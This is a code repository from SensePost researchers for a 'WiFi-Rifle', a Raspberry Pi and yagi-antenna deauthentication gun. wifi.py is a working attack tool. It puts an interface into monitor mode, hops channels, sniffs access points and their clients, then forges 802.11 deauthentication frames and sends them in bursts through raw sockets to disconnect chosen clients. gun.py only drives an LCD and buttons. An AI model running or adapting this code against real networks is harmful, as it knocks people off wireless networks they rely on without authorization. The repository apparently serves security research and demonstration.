├── README.md
├── gun.py
└── wifi.py
/README.md:
--------------------------------------------------------------------------------
1 | # WiFi-Rifle
2 | By Domainic White (singe) & Saif El-Sherei @ SensePost (research@sensepost.com)
3 |
4 | # Overview
5 | Creating a wireless rifle de-authentication gun, which utilized a yagi antenna and a Raspberry Pi. The idea was simple: simulate some of the tools available in aircrack-ng wireless hacking suite in one script but without utilizing aircrack-ng in the process.
6 |
7 | # Contents
8 |
9 | It contatins:
10 |
11 | - wifi.py - Main Wifi-Deauth script.
12 | - gun.py - Simple Raspberry Pi Python Script to control an LED and GPIO buttons
13 |
14 | Pre-Requisites
15 |
16 | - Impacket - Impacket is a collection of Python classes for working with network protocols (https://github.com/CoreSecurity/impacket).
17 | - Pcapy - Pcapy is a Python extension module that enables software written in Python to access the routines from the pcap packet capture library (https://github.com/CoreSecurity/pcapy).
18 | - Urwid - Urwid is a console user interface library for Python (http://urwid.org/).
19 |
20 |
21 | Running
22 | Just supply the wireless interface to the main wifi.py script.
23 |
24 | wifi.py wlan0
25 |
26 | The script features:
27 |
28 | - Utilize iw commands to place a wireless device into monitor mode, and perform channel hopping to obtain packets from all channels.
29 | - Use Core Security’s Pcapy to sniff traffic of the monitor device.
30 | - use Core Security’s Impacket inside threads to parse certain 802.11 packets and extract interesting data from them.
31 | - A Urwid a ncurses wrapper module to display the interface and handle key presses and callbacks.
32 | - Use impacket to generate wireless packets and send them through raw sockets.
33 |
34 |
35 | License
36 | WiFi-Rifle by SensePost is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-sa/4.0/) Permissions beyond the scope of this license may be available at http://sensepost.com/contact us/.
37 | Impacket is provided under a slightly modified version of the Apache Software License. See (https://github.com/CoreSecurity/impacket/blob/master/LICENSE) for more details.
38 | Pcapy is provided under a slightly modified version of the Apache Software License. (https://github.com/CoreSecurity/pcapy/blob/master/LICENSE) for more details.
39 | Urwid is provided under GPL v2 license. See (https://github.com/wardi/urwid/blob/master/COPYING) for more details.
40 |
41 |
42 |
43 |
44 |
--------------------------------------------------------------------------------
/gun.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | #--------------------------------------
3 | # ___ ___ _ ____
4 | # / _ \/ _ \(_) __/__ __ __
5 | # / , _/ ___/ /\ \/ _ \/ // /
6 | # /_/|_/_/ /_/___/ .__/\_, /
7 | # /_/ /___/
8 | #
9 | # lcd_16x2.py
10 | # 16x2 LCD Test Script
11 | #
12 | # Author : Matt Hawkins
13 | # Date : 06/04/2015
14 | #
15 | # http://www.raspberrypi-spy.co.uk/
16 | #
17 | #--------------------------------------
18 |
19 | # The wiring for the LCD is as follows:
20 | # 1 : GND
21 | # 2 : 5V
22 | # 3 : Contrast (0-5V)*
23 | # 4 : RS (Register Select)
24 | # 5 : R/W (Read Write) - GROUND THIS PIN
25 | # 6 : Enable or Strobe
26 | # 7 : Data Bit 0 - NOT USED
27 | # 8 : Data Bit 1 - NOT USED
28 | # 9 : Data Bit 2 - NOT USED
29 | # 10: Data Bit 3 - NOT USED
30 | # 11: Data Bit 4
31 | # 12: Data Bit 5
32 | # 13: Data Bit 6
33 | # 14: Data Bit 7
34 | # 15: LCD Backlight +5V**
35 | # 16: LCD Backlight GND
36 |
37 | #import
38 | import RPi.GPIO as GPIO
39 | import time
40 |
41 | # Define GPIO to LCD mapping
42 | LCD_RS = 7
43 | LCD_E = 8
44 | LCD_D4 = 25
45 | LCD_D5 = 17
46 | LCD_D6 = 23
47 | LCD_D7 = 18
48 | LCD_BUTTON = 15
49 | LCD_BUTTON1 = 4
50 | LCD_BUTTON2 = 24
51 | LCD_BUTTON3 = 27
52 | LCD_BUTTON4 = 22
53 |
54 | # Define some device constants
55 | LCD_WIDTH = 16 # Maximum characters per line
56 | LCD_CHR = True
57 | LCD_CMD = False
58 |
59 | LCD_LINE_1 = 0x80 # LCD RAM address for the 1st line
60 | LCD_LINE_2 = 0xC0 # LCD RAM address for the 2nd line
61 |
62 | # Timing constants
63 | E_PULSE = 0.0005
64 | E_DELAY = 0.0005
65 |
66 | def main():
67 | # Main program block
68 |
69 | GPIO.setmode(GPIO.BCM) # Use BCM GPIO numbers
70 | GPIO.setup(LCD_E, GPIO.OUT) # E
71 | GPIO.setup(LCD_RS, GPIO.OUT) # RS
72 | GPIO.setup(LCD_D4, GPIO.OUT) # DB4
73 | GPIO.setup(LCD_D5, GPIO.OUT) # DB5
74 | GPIO.setup(LCD_D6, GPIO.OUT) # DB6
75 | GPIO.setup(LCD_D7, GPIO.OUT) # DB7
76 | GPIO.setup(LCD_BUTTON,GPIO.IN)
77 | GPIO.setup(LCD_BUTTON1,GPIO.IN, pull_up_down = GPIO.PUD_UP)
78 | GPIO.setup(LCD_BUTTON2,GPIO.IN, pull_up_down = GPIO.PUD_UP)
79 | GPIO.setup(LCD_BUTTON3,GPIO.IN, pull_up_down = GPIO.PUD_UP)
80 | GPIO.setup(LCD_BUTTON4,GPIO.IN, pull_up_down = GPIO.PUD_UP)
81 |
82 | # add GPIO button events
83 | GPIO.add_event_detect(LCD_BUTTON1, GPIO.FALLING, callback=lcdFunction, bouncetime=300)
84 | GPIO.add_event_detect(LCD_BUTTON2, GPIO.FALLING, callback=lcdFunction, bouncetime=300)
85 | GPIO.add_event_detect(LCD_BUTTON3, GPIO.FALLING, callback=lcdFunction, bouncetime=300)
86 | GPIO.add_event_detect(LCD_BUTTON4, GPIO.FALLING, callback=lcdFunction, bouncetime=300)
87 |
88 | # Initialise display
89 | lcd_init()
90 | lcd_string("Wrieless De-Auth Gun",LCD_LINE_1)
91 | lcd_string("PeW PeW !!",LCD_LINE_2)
92 |
93 | while True:
94 | pass
95 | # Send some test
96 | #lcd_string("16x2 LCD Test",LCD_LINE_2)
97 | #time.sleep(3) # 3 second delay
98 |
99 | # Send some text
100 | #lcd_string("Wrieless De-Auth Gun",LCD_LINE_1)
101 | #lcd_string("PeW PeW !!",LCD_LINE_2)
102 | #time.sleep(3) # 3 second delay
103 |
104 | def lcdclear():
105 | lcd_string("",LCD_LINE_1)
106 | lcd_string("",LCD_LINE_2)
107 |
108 | def lcdFunction(channel):
109 | #print(channel)
110 | lcdclear()
111 | if channel == 4:
112 | lcd_string("BUTTON 1 PRESSED",LCD_LINE_1)
113 | elif channel == 24:
114 | lcd_string("BUTTON 2 PRESSED",LCD_LINE_1)
115 | elif channel == 27:
116 | lcd_string("BUTTON 3 PRESSED",LCD_LINE_1)
117 | elif channel == 22:
118 | lcd_string("BUTTON 4 PRESSED",LCD_LINE_1)
119 | time.sleep(3)
120 | lcdclear()
121 |
122 |
123 | def lcd_init():
124 | # Initialise display
125 | lcd_byte(0x33,LCD_CMD) # 110011 Initialise
126 | lcd_byte(0x32,LCD_CMD) # 110010 Initialise
127 | lcd_byte(0x06,LCD_CMD) # 000110 Cursor move direction
128 | lcd_byte(0x0C,LCD_CMD) # 001100 Display On,Cursor Off, Blink Off
129 | lcd_byte(0x28,LCD_CMD) # 101000 Data length, number of lines, font size
130 | lcd_byte(0x01,LCD_CMD) # 000001 Clear display
131 | time.sleep(E_DELAY)
132 |
133 | def lcd_byte(bits, mode):
134 | # Send byte to data pins
135 | # bits = data
136 | # mode = True for character
137 | # False for command
138 |
139 | GPIO.output(LCD_RS, mode) # RS
140 |
141 | # High bits
142 | GPIO.output(LCD_D4, False)
143 | GPIO.output(LCD_D5, False)
144 | GPIO.output(LCD_D6, False)
145 | GPIO.output(LCD_D7, False)
146 | if bits&0x10==0x10:
147 | GPIO.output(LCD_D4, True)
148 | if bits&0x20==0x20:
149 | GPIO.output(LCD_D5, True)
150 | if bits&0x40==0x40:
151 | GPIO.output(LCD_D6, True)
152 | if bits&0x80==0x80:
153 | GPIO.output(LCD_D7, True)
154 |
155 | # Toggle 'Enable' pin
156 | lcd_toggle_enable()
157 |
158 | # Low bits
159 | GPIO.output(LCD_D4, False)
160 | GPIO.output(LCD_D5, False)
161 | GPIO.output(LCD_D6, False)
162 | GPIO.output(LCD_D7, False)
163 | if bits&0x01==0x01:
164 | GPIO.output(LCD_D4, True)
165 | if bits&0x02==0x02:
166 | GPIO.output(LCD_D5, True)
167 | if bits&0x04==0x04:
168 | GPIO.output(LCD_D6, True)
169 | if bits&0x08==0x08:
170 | GPIO.output(LCD_D7, True)
171 |
172 | # Toggle 'Enable' pin
173 | lcd_toggle_enable()
174 |
175 | def lcd_toggle_enable():
176 | # Toggle enable
177 | time.sleep(E_DELAY)
178 | GPIO.output(LCD_E, True)
179 | time.sleep(E_PULSE)
180 | GPIO.output(LCD_E, False)
181 | time.sleep(E_DELAY)
182 |
183 | def lcd_string(message,line):
184 | # Send string to display
185 |
186 |
187 |
188 |
189 | message = message.ljust(LCD_WIDTH," ")
190 |
191 | lcd_byte(line, LCD_CMD)
192 |
193 | for i in range(LCD_WIDTH):
194 | lcd_byte(ord(message[i]),LCD_CHR)
195 |
196 | if __name__ == '__main__':
197 |
198 | try:
199 | main()
200 | except KeyboardInterrupt:
201 | pass
202 | finally:
203 | lcd_byte(0x01, LCD_CMD)
204 | lcd_string("Goodbye!",LCD_LINE_1)
205 | GPIO.cleanup()
206 |
--------------------------------------------------------------------------------
/wifi.py:
--------------------------------------------------------------------------------
1 | import array
2 | import pcapy
3 | import impacket
4 | from impacket import ImpactDecoder
5 | import sys, time, random, os, signal
6 | from multiprocessing import Process, Queue
7 | import binascii
8 | import threading
9 | import curses
10 | import urwid
11 | import random
12 | import socket
13 |
14 | CLIENTS = {}
15 | SSIDs = {}
16 | MAC = {}
17 | RTD = ImpactDecoder.RadioTapDecoder()
18 | MAX_LEN = 1514 # max size of packet to capture
19 | PROMISCUOUS = 1 # promiscuous mode?
20 | READ_TIMEOUT = 100 # in milliseconds
21 | PCAP_FILTER = '' # empty => get everything (or we could use a BPF filter)
22 | MAX_PKTS = -1 # number of packets to capture; -1 => no limit
23 |
24 | def channel_hopper():
25 | while True:
26 | try:
27 | channel = random.randrange(1,14)
28 | #channel = random.choice([1,2,6,11,9])
29 | os.system("iw dev %s set channel %d" % ("mon0", channel))
30 | time.sleep(1)
31 | except KeyboardInterrupt:
32 | break
33 |
34 | def getBssid(arr):
35 | #Get Binary array to MAC addr format
36 | out = []
37 | s = binascii.hexlify(arr)
38 | t = iter(s)
39 | st = ':'.join(a+b for a,b in zip(t,t))
40 | return st
41 |
42 | def signal_handler(signal, frame):
43 | # exit routine
44 | os.system("iw mon0 del")
45 | p.terminate()
46 | p.join()
47 | raise urwid.ExitMainLoop()
48 | sys.exit(0)
49 |
50 | def deauth_packet_generator(channel1,channel2,bssid,client=None):
51 | # Dot11 Deauth packet generation using impacket
52 | broadcast = ret_binary("ff:ff:ff:ff:ff:ff")
53 | if client == None:
54 | client = broadcast
55 |
56 | # Create RadioTap Frame
57 | radio = impacket.dot11.RadioTap()
58 | radio.set_channel(channel1,channel2) # work on channel
59 |
60 | # Create Dot11 Frame
61 | dot11 = impacket.dot11.Dot11(FCS_at_end = False)
62 | dot11.set_type_n_subtype(impacket.dot11.Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_DEAUTHENTICATION)
63 | #dot11.set_fromDS(0)
64 | #dot11.set_toDS(0)
65 | #dot11.set_moreFrag(0)
66 | #dot11.set_retry(0)
67 | #dot11.set_powerManagement(0)
68 | #dot11.set_moreData(0)
69 | #dot11.set_protectedFrame(0)
70 | #dot11.set_order(0)
71 |
72 | # create Managment Frame
73 | m = impacket.dot11.Dot11ManagementFrame()
74 | sequence = random.randint(0, 4096)
75 | #m.set_duration(0)
76 | m.set_source_address(bssid)
77 | m.set_bssid(bssid)
78 | m.set_destination_address(client)
79 | #m.set_fragment_number(0)
80 | m.set_sequence_number(sequence)
81 |
82 | # De-auth Request Frame
83 | d = impacket.dot11.Dot11ManagementDeauthentication()
84 |
85 | m.contains(d)
86 | dot11.contains(m)
87 | radio.contains(dot11)
88 |
89 | return radio.get_packet()
90 |
91 | def packet_handler(header, data):
92 | radio_packet = RTD.decode(data)
93 | channel = radio_packet.get_channel()
94 | dot11 = radio_packet.child()
95 |
96 | # Data Frames Parser
97 |
98 | if dot11.get_type() == impacket.dot11.Dot11Types.DOT11_TYPE_DATA:
99 | base = dot11.child()
100 | ip =getBssid(base.get_address1())
101 | client = getBssid(base.get_address3())
102 | bssid = getBssid(base.get_address2())
103 | if bssid == client or client == ip:
104 | pass
105 | else:
106 | bssid = str(bssid)
107 | client = str(client)
108 | if MAC.has_key(bssid):
109 | MAC[bssid][0].append(ip)
110 | MAC[bssid][0].append(client)
111 | else:
112 | MAC[bssid] = [[client,ip],channel]
113 |
114 | # Managment Frame parser
115 |
116 | elif dot11.get_type() == impacket.dot11.Dot11Types.DOT11_TYPE_MANAGEMENT:
117 | bssid_base = dot11.child()
118 | base = dot11.child().child()
119 | if base.__class__ == impacket.dot11.Dot11ManagementProbeRequest or base.__class__ == impacket.dot11.Dot11ManagementProbeResponse or base.__class__ == impacket.dot11.Dot11ManagementBeacon:
120 | #SSIDs[getBssid(bssid_base.get_bssid())] = base.get_ssid()
121 | if SSIDs.has_key(base.get_ssid()):
122 | pass
123 | else:
124 | ssid = str(base.get_ssid())
125 | bssid = str(getBssid(bssid_base.get_bssid()))
126 | if bssid == "ff:ff:ff:ff:ff:ff":
127 | pass
128 | else:
129 | pr.p_d(ssid,bssid)
130 | else:
131 | pass
132 |
133 | def runThreads(header,data):
134 | global p2
135 | packet_handler(header,data)
136 |
137 | def exit_on_q(key):
138 | # press Q,q to quit and run exit routine
139 | if key in ('q', 'Q'):
140 | signal_handler(1,1)
141 |
142 | def ret_binary(arr):
143 | # return binary array from hex string
144 | arr = arr
145 | arr = arr.split(':')
146 | hx = ''.join(arr)
147 | hx = hx.decode("hex")
148 | return array.array('B',hx)
149 |
150 | def sniffer():
151 | #que = q
152 | # pcapy raw sniffer
153 | c = pcapy.open_live("mon0", MAX_LEN, PROMISCUOUS, READ_TIMEOUT)
154 | c.loop(-1, runThreads)
155 |
156 |
157 | def magic():
158 | #global p1
159 | # start sniffer loop in a thread
160 | t2 = threading.Thread(target=sniffer)
161 | t2.daemon = True
162 | t2.start()
163 | #p1 = Process(target=sniffer)
164 | #p1.start()
165 |
166 |
167 | def send_packet(pkt,num,bar):
168 | # create a L2 raw_socket, binding to interface and sending packet
169 | p = pkt
170 | n = num
171 | s = socket.socket(socket.AF_PACKET,socket.SOCK_RAW)
172 | s.bind(('mon0',0))
173 | for i in range(num):
174 | s.send(str(p))
175 | bar.set_completion(bar.current+1)
176 | #pr.pb.set_completion(pr.pb.current+1)
177 | s.close()
178 |
179 |
180 | class Col(urwid.Columns):
181 | # SSIDs Box with 'enter' key handler to get clients to the selected AP
182 | def keypress(self,size,key):
183 | #self.selectable = True
184 | self.bssid = self.contents[1][0].text
185 | self.ssid = SSIDs[self.bssid]
186 | if key != 'enter':
187 | return super(Col, self).keypress(size, key)
188 |
189 | if MAC.has_key(self.bssid):
190 | del pr.walker2[:]
191 | clients = list(set(MAC[self.bssid][0]))
192 | for x in clients:
193 | CLIENTS[x] = self.bssid
194 | pg = urwid.ProgressBar('pg normal','pg complete',done=64)
195 | #pg.selectable = True
196 | pr.walker2.append(Col2([('weight',2,urwid.SelectableIcon(x,cursor_position=0)),('weight',2,pg)]))
197 | else:
198 | del pr.walker2[:]
199 | pr.console(u'Not Found Col')
200 | pr.walker2.append(Box2(u'Not Found Col',cursor_position=0))
201 |
202 |
203 | class Col2(urwid.Columns):
204 | # Clients Box with 'enter' key handler to start De-Auth
205 | def keypress(self,size,key):
206 | if key != 'enter':
207 | return super(Col2, self).keypress(size, key)
208 | client = self.contents[0][0].text
209 | bssid = CLIENTS[client]
210 | bin_bssid = ret_binary(bssid)
211 | bin_client = ret_binary(client)
212 | channel = MAC[bssid][1]
213 | #pr.walker2.append(Box2(bssid,cursor_position=0))
214 | pkt = deauth_packet_generator(channel[0],channel[1],bin_bssid,bin_client)
215 | self.contents[1][0].set_completion(0)
216 | send_packet(pkt,64,self.contents[1][0])
217 | pr.console(u'De-Authing client '+ client +' from BSSID '+bssid+' on Channel '+str(channel))
218 | pr.console(u'Done')
219 |
220 | class Box2(urwid.SelectableIcon):
221 | # Clients Box with 'enter' key handler to start De-Auth
222 | def keypress(self,size,key):
223 | if key != 'enter':
224 | return super(Box2, self).keypress(size, key)
225 |
226 | bssid = CLIENTS[self.text]
227 | bin_bssid = ret_binary(bssid)
228 | bin_client = ret_binary(self.text)
229 | channel = MAC[bssid][1]
230 | #pr.walker2.append(Box2(bssid,cursor_position=0))
231 | pkt = deauth_packet_generator(channel[0],channel[1],bin_bssid,bin_client)
232 | send_packet(pkt,64)
233 | pr.console(u'De-Authing client '+ self.text +' from BSSID '+bssid+' on Channel '+str(channel))
234 | pr.console(u'Done')
235 |
236 |
237 | class MainProg(object):
238 | def __init__(self):
239 | # craete interface with Frame and the body is made of 3 columns and wrap the columns in lineBoxes to have borders
240 | self.walker1 = urwid.SimpleFocusListWalker([])
241 | self.walker3 = urwid.SimpleFocusListWalker([])
242 | self.walker2 = urwid.SimpleFocusListWalker([])
243 | self.div = urwid.Divider()
244 | self.box = urwid.ListBox(self.walker1)
245 | self.line = urwid.LineBox(self.box, title='SSID', tlcorner=u'\u250c', tline=u'\u2500', lline=u'\u2502', trcorner=u'\u2510', blcorner=u'\u2514', rline=u'\u2502', bline=u'\u2500', brcorner=u'\u2518')
246 | self.box2 = urwid.ListBox(self.walker2)
247 | self.line2 = urwid.LineBox(self.box2, title='Client', tlcorner=u'\u250c', tline=u'\u2500', lline=u'\u2502', trcorner=u'\u2510', blcorner=u'\u2514', rline=u'\u2502', bline=u'\u2500', brcorner=u'\u2518')
248 | self.box3 = urwid.ListBox(self.walker3)
249 | self.line3 = urwid.LineBox(self.box3, title='BSSID', tlcorner=u'\u250c', tline=u'\u2500', lline=u'\u2502', trcorner=u'\u2510', blcorner=u'\u2514', rline=u'\u2502', bline=u'\u2500', brcorner=u'\u2518')
250 | self.pile = urwid.Columns([('weight',2, self.line),('weight',2, self.line2)])
251 | self.con = urwid.Text([u'Console'])
252 | self.lineCon = urwid.LineBox(self.con, title='', tlcorner=u'\u250c', tline=u'\u2500', lline=u'\u2502', trcorner=u'\u2510', blcorner=u'\u2514', rline=u'\u2502', bline=u'\u2500', brcorner=u'\u2518')
253 | self.title = urwid.Text([u'Wireless De-atuth PeW PeW !!!'])
254 | self.lineTitle = urwid.LineBox(self.title, title='', tlcorner=u'\u250c', tline=u'\u2500', lline=u'\u2502', trcorner=u'\u2510', blcorner=u'\u2514', rline=u'\u2502', bline=u'\u2500', brcorner=u'\u2518')
255 | self.top = urwid.Frame(self.pile, footer=self.lineCon,header=self.lineTitle)
256 | self.editing = False
257 | self.main()
258 | self.index = 0
259 | #signal.signal(signal.SIGINT, signal_handler)
260 |
261 |
262 | def main(self):
263 | global p
264 | # program Main loop
265 | self.console('Console: Initializing Monitor device ....')
266 | interface = sys.argv[1]
267 | # Enable monitor mode on device
268 | #os.system("iw dev %s interface add mon0 type monitor && ifconfig mon0 down" % interface)
269 | os.system("ifconfig %s down" % interface)
270 | os.system("iw dev %s interface add mon0 type monitor" % interface)
271 | time.sleep(5)
272 | os.system("ifconfig mon0 down")
273 | os.system("iw dev mon0 set type monitor")
274 | os.system("ifconfig mon0 up")
275 |
276 |
277 | self.console('Console: Initializing Channel Hopper ....')
278 | # start the channel hopper
279 | p = Process(target = channel_hopper)
280 | p.start()
281 |
282 | # start the sniffer
283 | self.console('Start Capturing Packets from Monitor device ....')
284 | magic()
285 |
286 | def p_d(self,ssid,bssid):
287 | # save ssids, bssids to dict
288 | if SSIDs.has_key(bssid):
289 | pass
290 | else:
291 | SSIDs[bssid] = ssid
292 | self.walker1.append(Col([('weight',2,urwid.Text(ssid)),('weight',2,urwid.SelectableIcon(bssid))]))
293 | loop.draw_screen()
294 |
295 | def console(self, message):
296 | # prgoram console at footer
297 | self.msg = message
298 | self.con.set_text('Console: '+self.msg)
299 |
300 | if __name__ == '__main__':
301 |
302 | if len(sys.argv) != 2:
303 | print "Usage %s monitor_interface" % sys.argv[0]
304 | sys.exit(1)
305 | else:
306 | pr = MainProg()
307 | palette = [
308 | ('reversed', 'standout', ''),
309 | ('pg normal', 'white','black','standout'),
310 | ('pg complete','white', 'dark magenta'),
311 | ]
312 | # try:
313 | loop = urwid.MainLoop(pr.top, palette, unhandled_input=exit_on_q)
314 | loop.run()
315 | # except Exception as e:
316 | #signal_handler(1,1)
317 |
318 |
--------------------------------------------------------------------------------